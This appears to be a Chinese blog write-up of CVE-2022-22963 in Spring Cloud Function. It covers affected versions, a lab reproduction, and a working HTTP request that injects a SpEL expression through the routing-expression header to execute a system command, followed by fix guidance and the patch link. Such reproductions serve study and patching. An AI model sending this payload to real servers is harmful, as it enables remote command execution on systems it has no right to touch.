• CVE-2022-22963:Spring Cloud Function SpEL 远程代码执行漏洞


    读者需知

    本文仅供学习使用,由于传播和利用此文所造成的损失均由使用者本人负责,文章作者不为此承担责任

    简介

    SpringCloud Function作为SpringCloud家族成员最早在2017年提出,旨在为快速发展的Serverless市场提供一个Spring的接入路径,使用SpringCloud Function进行无服务(我这里直接称为函数式编程)的项目开发可以大大节约成本,同时对于SpringBoot熟悉的人可以迅速上手

    最近Spring Cloud Function组件爆出0day – SpEL表达式注入导致RCE,官方commit中的test已经公开对应细节。

    影响版本

    3 <= Version <= 3.2.2(commit dc5128b之前)
    
    • 1

    复现步骤

    本文复现环境为unbuntu

    1、 环境搭建

    利用vulfocus环境进行搭建

    2、 直接访问对应8080端口,利用BP抓包改包即可

    POST /functionRouter HTTP/1.1
    Host: xxx:8080
    spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 0
    
    • 1
    • 2
    • 3
    • 4
    • 5

    风险危害

    经过分析,该漏洞的主要危害是可以导致RCE命令执行,可以造成被迫执行系统命令,文件读取和反弹shell

    排查建议

    1、添加一个isViaHeader

    为true时:headerEvalContext = SimpleEvaluationContext

    为false时:evalContext = new StandardEvaluationContext

    2、官方已针对此漏洞发布修复补丁,请受影响的用户尽快修复。

    官方链接:

    https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f

  • 相关阅读:
    COM组件IDispatch操作
    古代汉语试题及答案
    【MyBatis框架】第二章 MyBatis入门
    JS 监听用户页面访问&页面关闭并进行数据上报操作
    TCP协议的相关特性
    Java_网络编程
    解决vscode下powershell运行activate.ps1时,提示系统禁止运行脚本问题
    JS判断浏览器类型
    java基于SpringBoot+Vue+nodejs的高校自动排课系统 Element-UI
    C语言 switch语句
  • 原文地址:https://blog.csdn.net/m0_59092234/article/details/126654533